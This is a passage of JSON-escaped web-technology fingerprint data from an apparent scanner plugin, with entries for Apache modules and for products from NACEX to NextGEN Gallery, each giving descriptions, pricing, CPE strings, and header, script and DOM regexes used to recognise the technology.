\"mod_rails(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Phusion Passenger.svg\",\n    \"implies\": [\n      \"Ruby on Rails\\\\;confidence:50\",\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://phusionpassenger.com\"\n  },\n  \"mod_ssl\": {\n    \"cats\": [\n      33\n    ],\n    \"cpe\": \"cpe:2.3:a:modssl:mod_ssl:*:*:*:*:*:*:*:*\",\n    \"description\": \"mod_ssl is an optional module for the Apache HTTP Server. It provides strong cryptography for the Apache web server via the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) cryptographic protocols by the help of the open-source SSL/TLS toolkit OpenSSL.\",\n    \"headers\": {\n      \"Server\": \"mod_ssl(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"mod_ssl.png\",\n    \"implies\": [\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://modssl.org\"\n  },\n  \"mod_wsgi\": {\n    \"cats\": [\n      33\n    ],\n    \"cpe\": \"cpe:2.3:a:modwsgi:mod_wsgi:*:*:*:*:*:*:*:*\",\n    \"description\": \"mod_wsgi is an Apache HTTP Server module that provides a WSGI compliant interface for hosting Python based web applications under Apache.\",\n    \"headers\": {\n      \"Server\": \"mod_wsgi(?:/([\\\\d.]+))?\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"mod_wsgi(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"mod_wsgi.png\",\n    \"implies\": [\n      \"Python\\\\;confidence:50\",\n      \"Apache HTTP Server\"\n    ],\n    \"website\": \"https://code.google.com/p/modwsgi\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/n.json",
    "content": "{\n  \"NACEX\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"NACEX is an express courier company in Spain, Andorra and Portugal.\",\n    \"icon\": \"NACEX.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bNACEX\\\\b\"\n    ],\n    \"website\": \"https://www.nacex.es\"\n  },\n  \"NEO - Omnichannel Commerce Platform\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"NEO is an ecommerce software that manages multiple online stores.\",\n    \"dom\": [\n      \"#svr[value^=\\\"NEOWEBV\\\"]\"\n    ],\n    \"headers\": {\n      \"powered\": \"jet-neo\"\n    },\n    \"icon\": \"Plataforma NEO.svg\",\n    \"url\": [\n      \"\\\\.plataformaneo\\\\.com\"\n    ],\n    \"website\": \"https://www.jetecommerce.com.br\"\n  },\n  \"NProgress\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"NProgress is a JavaScript library that displays a nanoscopic progress bar at the top of websites or web applications. It includes trickle animations to indicate loading activity, enhancing user experience by showing that content is being loaded.\",\n    \"icon\": \"NProgress.svg\",\n    \"js\": {\n      \"NProgress.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/nprogress\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://ricostacruz.com/nprogress/\"\n  },\n  \"NSW Design System\": {\n    \"cats\": [\n      66\n    ],\n    \"dom\": [\n      \".nsw-container, .nsw-header, .nsw-icon, link[href*='nsw-design-system']\"\n    ],\n    \"icon\": \"NSW Design System.svg\",\n    \"js\": {\n      \"NSW.initSite\": \"\"\n    },\n    \"website\": \"https://www.digital.nsw.gov.au/digital-design-system\"\n  },\n  \"NTLM\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"NTLM is an authentication method commonly used by Windows servers\",\n    \"headers\": {\n      \"WWW-Authenticate\": \"^NTLM\"\n    },\n    \"website\": \"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ntht/\"\n  },\n  \"NVD3\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"NVD3 is a JavaScript visualisation library that is a free open-source tool.\",\n    \"html\": [\n      \"<link[^>]* href=[^>]+nv\\\\.d3(?:\\\\.min)?\\\\.css\"\n    ],\n    \"icon\": \"NVD3.png\",\n    \"implies\": [\n      \"D3\"\n    ],\n    \"js\": {\n      \"nv.addGraph\": \"\",\n      \"nv.version\": \"^(.+)$\\\\;confidence:0\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"nv\\\\.d3(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://nvd3.org\"\n  },\n  \"Nacelle\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Nacelle is a headless ecommerce platform.\",\n    \"dom\": {\n      \"[class*='nacelle']\": {\n        \"text\": \"\\\\;confidence:51\"\n      }\n    },\n    \"icon\": \"Nacelle.svg\",\n    \"implies\": [\n      \"GraphQL\"\n    ],\n    \"js\": {\n      \"__NEXT_DATA__.props.pageProps.page.nacelleEntryId\": \"\",\n      \"nacelleEventData\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://nacelle.com\",\n    \"xhr\": [\n      \"storefront\\\\.api\\\\.nacelle\\\\.com\"\n    ]\n  },\n  \"NagaCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"NagaCommerce is an ecommerce platform provided as a service.\",\n    \"icon\": \"NagaCommerce.svg\",\n    \"meta\": {\n      \"generator\": \"^NagaCommerce$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.nagacommerce.com\"\n  },\n  \"Nagich\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Nagich is a website accessibility overlay provider from Israel.\",\n    \"icon\": \"Nagich.svg\",\n    \"js\": {\n      \"interdeal.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.nagich\\\\.co(?:m|\\\\.il)/core/([\\\\d.]+)/accessibility\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.nagich.co.il\"\n  },\n  \"NagishLi\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"NagishLi is a free accessibility plugin from Localize*, created to provide an equal oppurtunity for webmasters to make their website accessible and make the internet more accessible for people with disability.\",\n    \"icon\": \"NagishLi.png\",\n    \"js\": {\n      \"$NagishLi\": \"\",\n      \"initNagishLi\": \"\",\n      \"nagishli_commons.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"website\": \"https://www.nagish.li\"\n  },\n  \"Naive UI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Naive UI is a Vue.js UI library written in TypeScript, offering more than 80 treeshakable components.\",\n    \"dom\": {\n      \"style[cssr-id^='n-']\": {\n        \"attributes\": {\n          \"cssr-id\": \"^n-[a-z-]+$\\\\;confidence:99\"\n        }\n      }\n    },\n    \"icon\": \"Naive UI.svg\",\n    \"implies\": [\n      \"Vue.js\",\n      \"TypeScript\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.naiveui.com\"\n  },\n  \"Najva\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Najva is a retention marketing solution that offers push notification and email marketing.\",\n    \"icon\": \"Najva.png\",\n    \"js\": {\n      \"Najva.identifyEmailSubscriber\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.najva\\\\.com/\"\n    ],\n    \"website\": \"https://www.najva.com\"\n  },\n  \"NamelessMC\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:namelessmc:nameless:*:*:*:*:*:*:*:*\",\n    \"description\": \"NamelessMC is an open-source website software geared towards gaming communities, offering features such as forums and user profiles for managing online presence.\",\n    \"dom\": [\n      \"span.item > a[href*='//namelessmc.com']\"\n    ],\n    \"icon\": \"NamelessMC.png\",\n    \"implies\": [\n      \"PHP\",\n      \"Laravel\",\n      \"MySQL\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://namelessmc.com\"\n  },\n  \"Napps\": {\n    \"cats\": [\n      6,\n      26\n    ],\n    \"description\": \"Napps is a platform that allows businesses to convert their Shopify and WooCommerce online stores into mobile apps without any coding.\",\n    \"icon\": \"Napps.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//napps-storage\\\\.b-cdn\\\\.net/scripts/smartbanner\\\\.js\\\\?napps=1\"\n    ],\n    \"website\": \"https://napps.io\"\n  },\n  \"Narrativ\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Narrativ is a subscription technology platform for brands to acquire new customers through trusted creators.\",\n    \"icon\": \"Narrativ.png\",\n    \"scriptSrc\": [\n      \"static\\\\.narrativ\\\\.com/\"\n    ],\n    \"website\": \"https://narrativ.com/\"\n  },\n  \"Narvar\": {\n    \"cats\": [\n      102,\n      99\n    ],\n    \"description\": \"Narvar is a customer experience platform that helps retailers inspire long-term customer loyalty, at all steps of the post-purchase journey.\",\n    \"dom\": [\n      \"a[href*='.narvar.com/'], img[src*='.narvar.com/']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.narvar\\\\.com\"\n    },\n    \"icon\": \"Narvar.svg\",\n    \"js\": {\n      \"NARVARJS_URL\": \"\",\n      \"narvar\": \"\\\\;confidence:1\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://corp.narvar.com\"\n  },\n  \"NationBuilder\": {\n    \"cats\": [\n      1,\n      53\n    ],\n    \"description\": \"NationBuilder is a Los Angeles based technology start-up that develops content management and customer relationship management (CRM) software.\",\n    \"icon\": \"NationBuilder.svg\",\n    \"js\": {\n      \"NB.FBAppId\": \"\",\n      \"NB.Liquid\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://nationbuilder.com\"\n  },\n  \"Nativo\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Nativo is an advertising technology provider.\",\n    \"dom\": [\n      \"link[href*='.postrelease.com/'], img[src*='.postrelease.com/']\"\n    ],\n    \"icon\": \"Nativo.png\",\n    \"js\": {\n      \"ntvConfig\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ntv\\\\.io/\",\n      \"\\\\.postrelease\\\\.com/\"\n    ],\n    \"website\": \"https://www.nativo.com\"\n  },\n  \"Natural Intelligence\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Natural Intelligence is a platform facilitating product discovery.\",\n    \"icon\": \"NaturalIntelligence.svg\",\n    \"js\": {\n      \"naturalint_tag\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.naturalint\\\\.com/\"\n    ],\n    \"website\": \"https://www.naturalint.com/\"\n  },\n  \"Navegg\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Navegg.svg\",\n    \"scriptSrc\": [\n      \"tag\\\\.navdmp\\\\.com\"\n    ],\n    \"website\": \"https://www.navegg.com/\"\n  },\n  \"Naver Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Naver Analytics is a Korean based analytics service.\",\n    \"icon\": \"Naver Analytics.svg\",\n    \"meta\": {\n      \"naver-site-verification\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wcs\\\\.naver\\\\.net/wcslog\\\\.js\"\n    ],\n    \"website\": \"https://analytics.naver.com\"\n  },\n  \"Naver Maps\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Naver Maps help develop location-based services which provided by Naver.\",\n    \"icon\": \"Naver Maps.svg\",\n    \"js\": {\n      \"naver.maps\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"openapi\\\\.map\\\\.naver\\\\.com/openapi/v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.ncloud.com/product/applicationService/maps\"\n  },\n  \"Naver RUA\": {\n    \"cats\": [\n      92,\n      78\n    ],\n    \"description\": \"Naver RUA (Real User Analytics) collects performance data from real users to analyze the speed of your website by country, operating system, and browser.\",\n    \"icon\": \"Naver.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"rua-api\\\\.ncloud\\\\.com/\"\n    ],\n    \"website\": \"https://analytics.naver.com\"\n  },\n  \"Navidium Shipping Protection\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Navidium is a shipping insurance company that covers packages that are lost, stolen, or damaged in transit. Navidium Shipping Protection is an optional shipping protection service where, in the event of an incident (the order is damaged, lost, or stolen during transit), we will immediately re-ship any damaged, lost, or stolen products.\",\n    \"icon\": \"Navidium.svg\",\n    \"js\": {\n      \"nvdShop\": \"\\\\.myshopify\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^.*/navidium-extension-checker\\\\.js$\"\n    ],\n    \"website\": \"https://navidiumapp.com\"\n  },\n  \"Naviga\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Naviga is a content creation and management tool, formerly known as Infomaker, designed for media and publishing companies.\",\n    \"dom\": [\n      \"link[href*='.infomaker.io/']\"\n    ],\n    \"icon\": \"Naviga.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.infomaker\\\\.io/\"\n    ],\n    \"website\": \"https://www.navigaglobal.com/\"\n  },\n  \"Neat A/B testing\": {\n    \"cats\": [\n      74,\n      100\n    ],\n    \"description\": \"Neat A/B Testing is a Shopify app built by NeatShift.\",\n    \"icon\": \"Neat.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.neatab\\\\.com/\"\n    ],\n    \"website\": \"https://neatab.com\"\n  },\n  \"Neexa\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Neexa is an AI-powered inquiry and sales agent designed to handle customer queries.\",\n    \"icon\": \"NeexaAI.svg\",\n    \"js\": {\n      \"neexa_xgmx_cc_wpq_ms\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://neexa.ai\"\n  },\n  \"Nelio Testing\": {\n    \"cats\": [\n      74\n    ],\n    \"cookies\": {\n      \"nabUniqueViews\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:neliosoftware:nelio_ab_testing:*:*:*:*:*:*:*:*\",\n    \"description\": \"Nelio Testing is a plugin that allows testing everything on a WordPress site.\",\n    \"icon\": \"NelioTesting.svg\",\n    \"js\": {\n      \"nabSettings\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://neliosoftware.com/testing\"\n  },\n  \"Neon CRM\": {\n    \"cats\": [\n      53,\n      111\n    ],\n    \"description\": \"Neon CRM, a Neon One company, is a cloud-based customer relationship management (CRM) software suite for nonprofits of all sizes. Applications include fundraising management, donor management, membership management, event registration and management, customised reporting, and more.\",\n    \"dom\": [\n      \"a[href*='.app.neoncrm.com/']\"\n    ],\n    \"icon\": \"Neon One.svg\",\n    \"js\": {\n      \"_neoncrm_ga\": \"\",\n      \"neonPayCard\": \"\",\n      \"neoncrm_email_ajax_object\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://neonone.com\"\n  },\n  \"Neos CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"excludes\": [\n      \"TYPO3 CMS\"\n    ],\n    \"headers\": {\n      \"X-Flow-Powered\": \"Neos/?(.+)?$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Neos.svg\",\n    \"implies\": [\n      \"Neos Flow\"\n    ],\n    \"scriptSrc\": [\n      \"/Neos\\\\.Neos/\"\n    ],\n    \"url\": [\n      \"/neos/\"\n    ],\n    \"website\": \"https://neos.io\"\n  },\n  \"Neos Flow\": {\n    \"cats\": [\n      18\n    ],\n    \"excludes\": [\n      \"TYPO3 CMS\"\n    ],\n    \"headers\": {\n      \"X-Flow-Powered\": \"Flow/?(.+)?$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Neos.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://flow.neos.io\"\n  },\n  \"Nepso\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-CMS\": \"Nepso\"\n    },\n    \"icon\": \"nepso.svg\",\n    \"website\": \"https://www.nepso.com\"\n  },\n  \"Nestify\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Nestify is a fully managed WordPress hosting platform that runs on AWS graviton processors.\",\n    \"headers\": {\n      \"x-nestify-cache\": \"\"\n    },\n    \"icon\": \"Nestify.png\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"website\": \"https://nestify.io\"\n  },\n  \"NetSuite\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"NS_VER\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"description\": \"NetSuite is a cloud-based enterprise resource planning (ERP) software suite that provides a comprehensive set of business management applications, including financial management, CRM, ecommerce, and more.\",\n    \"icon\": \"NetSuite.svg\",\n    \"pricing\": [\n      \"onetime\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://netsuite.com\"\n  },\n  \"Netcore Cloud\": {\n    \"cats\": [\n      97,\n      32\n    ],\n    \"description\": \"Netcore Cloud is a globally recognised marketing technology SaaS company.\",\n    \"icon\": \"Netcore Cloud.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.netcoresmartech\\\\.com/\"\n    ],\n    \"website\": \"https://netcorecloud.com\"\n  },\n  \"Netdeal\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Netdeal is a marketing automation platform.\",\n    \"icon\": \"Netdeal.svg\",\n    \"js\": {\n      \"NetdealBuildNumber\": \"\",\n      \"NetdealJs.paywall\": \"\",\n      \"netdealStartSession\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.netdeal.com.br\"\n  },\n  \"Nethouse Website Builder\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"Nethouse Website Builder is a platform enabling individuals to craft websites, online stores, or landing pages independently, without the need for programmers or designers.\",\n    \"icon\": \"Nethouse.svg\",\n    \"js\": {\n      \"Nethouse\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://nethouse.ru\"\n  },\n  \"Netlify\": {\n    \"cats\": [\n      62,\n      31\n    ],\n    \"description\": \"Netlify providers hosting and server-less backend services for web applications and static websites.\",\n    \"headers\": {\n      \"Server\": \"^Netlify\",\n      \"X-NF-Request-ID\": \"\"\n    },\n    \"icon\": \"Netlify.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"url\": [\n      \"^https?://[^/]+\\\\.netlify\\\\.(?:com|app)/\"\n    ],\n    \"website\": \"https://www.netlify.com/\",\n    \"xhr\": [\n      \"cdn\\\\.netlify\\\\.com\"\n    ]\n  },\n  \"Netlify Create\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Netlify Create (formerly Stackbit) is a visual experience platform for building decoupled websites.\",\n    \"dom\": {\n      \"[data-sb-object-id]\": {\n        \"exists\": \"\"\n      },\n      \"header[data-sb-field-path]\": {\n        \"attributes\": {\n          \"data-sb-field-path\": \"\"\n        }\n      },\n      \"script#__NEXT_DATA__\": {\n        \"text\": \"stackbit\"\n      }\n    },\n    \"icon\": \"Netlify.svg\",\n    \"js\": {\n      \"__NEXT_DATA__.props.pageProps.withStackbit\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.stackbit\\\\.com\"\n    ],\n    \"website\": \"https://www.stackbit.com\"\n  },\n  \"Netlify Forms\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Netlify Forms is a serverless form handling solution for static websites.\",\n    \"dom\": [\n      \"form[data-netlify]\"\n    ],\n    \"icon\": \"Netlify.svg\",\n    \"implies\": [\n      \"Netlify\"\n    ],\n    \"website\": \"https://www.netlify.com/products/forms\"\n  },\n  \"Neto\": {\n    \"cats\": [\n      6,\n      41\n    ],\n    \"description\": \"Neto is the only Australian B2B and multi-channel ecommerce platform that provides an all-in-one solution for ecommerce, POS, inventory management, order management, and shipping labelling.\",\n    \"icon\": \"Neto.svg\",\n    \"js\": {\n      \"NETO\": \"\"\n    },\n    \"scriptSrc\": [\n      \"jquery\\\\.neto.*\\\\.js\"\n    ],\n    \"website\": \"https://www.neto.com.au\"\n  },\n  \"Nette Framework\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"nette-browser\": \"\"\n    },\n    \"dom\": [\n      \"input[data-nette-rules], div[id^='snippet-'], input[id^='frm-']\"\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"^Nette Framework\"\n    },\n    \"html\": [\n      \"<input[^>]+data-nette-rules\",\n      \"<div[^>]+id=\\\"snippet-\",\n      \"<input[^>]+id=\\\"frm-\"\n    ],\n    \"icon\": \"Nette Framework.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Nette\": \"\",\n      \"Nette.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://nette.org\"\n  },\n  \"Network for Good\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Network for Good is an American certified B Corporation software company that offers fundraising software and coaching for charities and non-profit organisations.\",\n    \"dom\": [\n      \"a[href*='.networkforgood.com/']\"\n    ],\n    \"icon\": \"Network for Good.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.networkforgood\\\\.com/\"\n    ],\n    \"website\": \"https://www.networkforgood.com\"\n  },\n  \"Neve\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Neve is a super-fast, easily customizable, multi-purpose theme that works perfectly with Gutenberg and the most popular page builders as well as WooCommerce\",\n    \"dom\": {\n      \"body[class*='neve-theme']\": {\n        \"text\": \"\"\n      },\n      \"link[id*='neve-style']\": {\n        \"attributes\": {\n          \"href\": \"neve\\\\S*\\\\.css(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"ThemeIsle.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"themes/neve\\\\S*\\\\.js(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://themeisle.com/themes/neve/\"\n  },\n  \"New Relic\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"New Relic is a SaaS offering that focuses on performance and availability monitoring.\",\n    \"dom\": [\n      \"link[href*='.newrelic.com']\"\n    ],\n    \"icon\": \"New Relic.svg\",\n    \"js\": {\n      \"NREUM\": \"\",\n      \"newrelic\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"low\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://newrelic.com\"\n  },\n  \"NewStore\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"NewStore is the only integrated platform offering omnichannel solutions for stores and consumers.\",\n    \"icon\": \"NewStore.png\",\n    \"js\": {\n      \"highstreetBanner.config\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.api\\\\.highstreetapp\\\\.com/\"\n    ],\n    \"website\": \"https://www.newstore.com\"\n  },\n  \"Newspack\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Newspack is an open-source publishing platform built on WordPress for small to medium sized news organizations. It is an “opinionated” platform that stakes out clear, best-practice positions on technology, design, and business practice for news publishers.\",\n    \"dom\": [\n      \"a.imprint[href*='newspack.pub']\"\n    ],\n    \"icon\": \"NewspackLogo.png\",\n    \"oss\": true,\n    \"website\": \"https://github.com/Automattic/newspack-plugin\"\n  },\n  \"Newspack by Automattic\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Automattic's Newspack service is an all-in-one platform designed for small and medium-sized news organizations that simplifies publishing and drives audience and revenue right out of the box.\",\n    \"headers\": {\n      \"host-header\": \"Newspack\"\n    },\n    \"icon\": \"NewspackLogo.png\",\n    \"implies\": [\n      \"Newspack\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://newspack.pub/\"\n  },\n  \"Newt\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Newt is a headless CMS that allows you to create and manage structured content and distribute it to a variety of channels.\",\n    \"icon\": \"Newt.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.newt.so\",\n    \"xhr\": [\n      \"\\\\.newt\\\\.so\"\n    ]\n  },\n  \"NexMind\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"NexMind is a platform offering advanced analytics tools for businesses to make informed decisions and foster growth.\",\n    \"icon\": \"NexMind.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.nexmind\\\\.ai/\"\n    ],\n    \"website\": \"https://www.nexmind.ai\"\n  },\n  \"Nexcess\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"description\": \"Nexcess is a web hosting service.\",\n    \"headers\": {\n      \"x-hostname\": \"nxcli\\\\.net$\"\n    },\n    \"icon\": \"nexcess.png\",\n    \"website\": \"https://www.nexcess.net\"\n  },\n  \"Nexive\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Nexive is a postal operator in Italy.\",\n    \"icon\": \"Nexive.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bNexive\\\\b\"\n    ],\n    \"website\": \"https://www.nexive.it\"\n  },\n  \"Next Basket\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Next Basket is an AI-based software platform designed to create online stores and warehouses for products.\",\n    \"icon\": \"NextBasket.svg\",\n    \"meta\": {\n      \"generator\": \"^NextBasket.com$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://nextbasket.com\"\n  },\n  \"Next Total\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Next is leveraging the expertise, infrastructure and software it has developed for its own online business to provide a third-party ecommerce outsourcing service named Total Platform.\",\n    \"icon\": \"Next Total.svg\",\n    \"js\": {\n      \"NextBasket.NextUnlimited\": \"\",\n      \"NextFavourites.Busy\": \"\",\n      \"NextFavourites.Data.ShoppingLists\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.nextdirect\\\\.com/\"\n    ],\n    \"website\": \"https://www.next.co.uk\"\n  },\n  \"Next.js\": {\n    \"cats\": [\n      12,\n      18,\n      22,\n      57\n    ],\n    \"cpe\": \"cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*\",\n    \"description\": \"Next.js is a React framework for developing single page Javascript applications.\",\n    \"headers\": {\n      \"x-powered-by\": \"^Next\\\\.js ?([0-9.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Next.js.svg\",\n    \"implies\": [\n      \"React\",\n      \"Webpack\",\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"__NEXT_DATA__\": \"\",\n      \"next.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://nextjs.org\"\n  },\n  \"NextAuth.js\": {\n    \"cats\": [\n      69\n    ],\n    \"cookies\": {\n      \"__Host-next-auth.csrf-token\": \"\",\n      \"__Secure-next-auth.callback-url\": \"\"\n    },\n    \"description\": \"NextAuth.js is a complete open-source authentication solution for Next.js applications.\",\n    \"icon\": \"Next-Auth.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"Next.js\"\n    ],\n    \"website\": \"https://next-auth.js.org\"\n  },\n  \"NextGEN Gallery\": {\n    \"cats\": [\n      7,\n      87\n    ],\n    \"cpe\": \"cpe:2.3:a:imagely:nextgen_gallery:*:*:*:*:*:*:*:*\",\n    \"description\": \"NextGEN Gallery is a free open-source image management plugin for the WordPress content management system.\",\n    \"html\": [\n      \"<!-- <meta name=\\\"NextGEN\\\" version=\\\"([\\\\d.]+)\\\" /> -->\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"NextGEN Gallery.png\",\n    \"js\": {\n      